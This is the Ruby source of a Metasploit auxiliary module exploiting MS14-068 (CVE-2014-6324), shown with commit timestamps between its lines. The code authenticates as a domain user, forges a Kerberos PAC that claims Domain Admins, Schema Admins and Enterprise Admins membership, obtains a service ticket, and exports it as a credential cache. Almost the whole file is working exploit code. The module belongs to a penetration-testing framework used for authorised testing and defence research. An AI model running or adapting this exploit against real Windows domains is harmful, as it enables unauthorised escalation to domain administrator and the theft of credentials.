metasploit-framework/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb

163 lines
5.3 KiB
Ruby
Raw Normal View History

2014-12-18 01:57:10 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit4 < Msf::Auxiliary
2014-12-22 21:39:08 +00:00
include Msf::Auxiliary::Report
include Msf::Kerberos::Client
2014-12-18 01:57:10 +00:00
def initialize(info = {})
super(update_info(info,
2014-12-22 20:29:02 +00:00
'Name' => 'MS14-068 Microsfot Kerberos Checksum Validation Vulnerability',
2014-12-18 01:57:10 +00:00
'Description' => %q{
2014-12-22 20:29:02 +00:00
This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem
exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS
2014-12-22 23:51:44 +00:00
request, where a domain user is allowed to forge a PAC with arbitrary privileges, including
Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to
a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz
help. It has been tested successfully on Windows 2008.
2014-12-18 01:57:10 +00:00
},
'Author' =>
[
2014-12-22 18:34:31 +00:00
'Tom Maddock', # Vulnerability discovery
'Sylvain Monne', # pykek framework and exploit
2014-12-22 20:29:02 +00:00
'juan vazquez' # Metasploit module
2014-12-18 01:57:10 +00:00
],
'References' =>
[
2014-12-22 18:29:28 +00:00
['CVE', '2014-6324'],
['MSB', 'MS14-068'],
2014-12-22 18:34:31 +00:00
['OSVDB', '114751'],
['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],
['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],
['URL', 'https://github.com/bidord/pykek']
2014-12-18 01:57:10 +00:00
],
'License' => MSF_LICENSE,
2014-12-22 18:34:31 +00:00
'DisclosureDate' => 'Nov 18 2014'
2014-12-18 01:57:10 +00:00
))
2014-12-22 20:29:02 +00:00
register_options(
[
2014-12-23 00:11:43 +00:00
OptString.new('USER', [ true, 'The Domain User' ]),
OptString.new('PASSWORD', [ true, 'The Domain User password' ]),
2014-12-24 01:16:50 +00:00
OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),
OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])
2014-12-22 20:29:02 +00:00
], self.class)
2014-12-18 01:57:10 +00:00
end
def run
print_status("Validating options...")
unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/
print_error("Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000")
return
end
2014-12-24 01:16:50 +00:00
domain = datastore['DOMAIN'].upcase
print_status("Using domain #{domain}...")
user_sid_arr = datastore['USER_SID'].split('-')
domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')
user_rid = user_sid_arr[user_sid_arr.length - 1].to_i
2014-12-22 20:29:02 +00:00
unicode_password = Rex::Text.to_unicode(datastore['PASSWORD'])
password_digest = OpenSSL::Digest.digest('MD4', unicode_password)
2014-12-20 00:23:11 +00:00
2014-12-20 00:10:14 +00:00
pre_auth = []
2014-12-22 21:51:17 +00:00
pre_auth << build_as_pa_time_stamp(key: password_digest, etype: Rex::Proto::Kerberos::Crypto::RC4_HMAC)
2014-12-20 00:23:11 +00:00
pre_auth << build_pa_pac_request
2014-12-20 00:10:14 +00:00
pre_auth
2014-12-22 20:29:02 +00:00
print_status("#{peer} - Sending AS-REQ...")
2014-12-20 00:23:11 +00:00
res = send_request_as(
2014-12-22 20:29:02 +00:00
client_name: "#{datastore['USER']}",
2014-12-24 01:16:50 +00:00
server_name: "krbtgt/#{domain}",
realm: "#{domain}",
2014-12-22 20:29:02 +00:00
key: password_digest,
2014-12-20 00:23:11 +00:00
pa_data: pre_auth
)
2014-12-18 01:57:10 +00:00
2014-12-22 20:29:02 +00:00
unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP
2014-12-25 00:05:48 +00:00
vprint_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
2014-12-22 20:29:02 +00:00
print_error("#{peer} - Invalid AS-REP, aborting...")
2014-12-18 01:57:10 +00:00
return
end
2014-12-22 20:29:02 +00:00
print_status("#{peer} - Parsing AS-REP...")
2014-12-18 01:57:10 +00:00
2014-12-22 20:29:02 +00:00
session_key = extract_session_key(res, password_digest)
logon_time = extract_logon_time(res, password_digest)
2014-12-18 01:57:10 +00:00
ticket = res.ticket
2014-12-20 01:46:50 +00:00
pre_auth = []
pre_auth << build_pa_pac_request
2014-12-22 20:29:02 +00:00
groups = [
513, # DOMAIN_USERS
512, # DOMAIN_ADMINS
520, # GROUP_POLICY_CREATOR_OWNERS
518, # SCHEMA_ADMINISTRATORS
519 # ENTERPRISE_ADMINS
]
2014-12-20 00:47:41 +00:00
pac = build_pac(
2014-12-22 20:29:02 +00:00
client_name: datastore['USER'],
group_ids: groups,
domain_id: domain_sid,
user_id: user_rid,
2014-12-24 01:16:50 +00:00
realm: domain,
2014-12-20 00:47:41 +00:00
logon_time: logon_time,
2014-12-22 21:51:17 +00:00
checksum_type: Rex::Proto::Kerberos::Crypto::RSA_MD5
2014-12-20 00:47:41 +00:00
)
auth_data = build_pac_authorization_data(pac: pac)
2014-12-22 21:39:08 +00:00
sub_key = build_subkey(subkey_type: Rex::Proto::Kerberos::Crypto::RC4_HMAC)
2014-12-22 20:29:02 +00:00
print_status("#{peer} - Sending TGS-REQ...")
2014-12-20 00:23:11 +00:00
res = send_request_tgs(
2014-12-22 20:29:02 +00:00
client_name: datastore['USER'],
2014-12-24 01:16:50 +00:00
server_name: "krbtgt/#{domain}",
realm: domain,
2014-12-18 01:57:10 +00:00
session_key: session_key,
ticket: ticket,
2014-12-20 01:46:50 +00:00
auth_data: auth_data,
2014-12-22 21:39:08 +00:00
pa_data: pre_auth,
subkey: sub_key
2014-12-18 01:57:10 +00:00
)
2014-12-22 20:29:02 +00:00
unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP
print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
2014-12-22 20:29:02 +00:00
print_error("#{peer} - Invalid TGS-REP, aborting...")
2014-12-18 01:57:10 +00:00
return
end
2014-12-22 20:29:02 +00:00
print_good("#{peer} - Valid TGS-Response, extracting credentials...")
2014-12-18 01:57:10 +00:00
2014-12-22 21:39:08 +00:00
cache = extract_kerb_creds(res, sub_key.value)
2014-12-22 21:39:08 +00:00
path = store_loot('windows.kerberos', 'application/octet-stream', rhost, cache.encode)
print_good("#{peer} - MIT Credential Cache saved on #{path}")
2014-12-18 01:57:10 +00:00
end
2014-12-25 00:05:48 +00:00
def warn_error(res)
msg = ''
if Rex::Proto::Kerberos::Model::ERROR_CODES.has_key?(res.error_code)
error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
msg = "#{error_info[0]} - #{error_info[1]}"
else
msg = 'Unknown error'
end
msg
end
2014-12-18 01:57:10 +00:00
end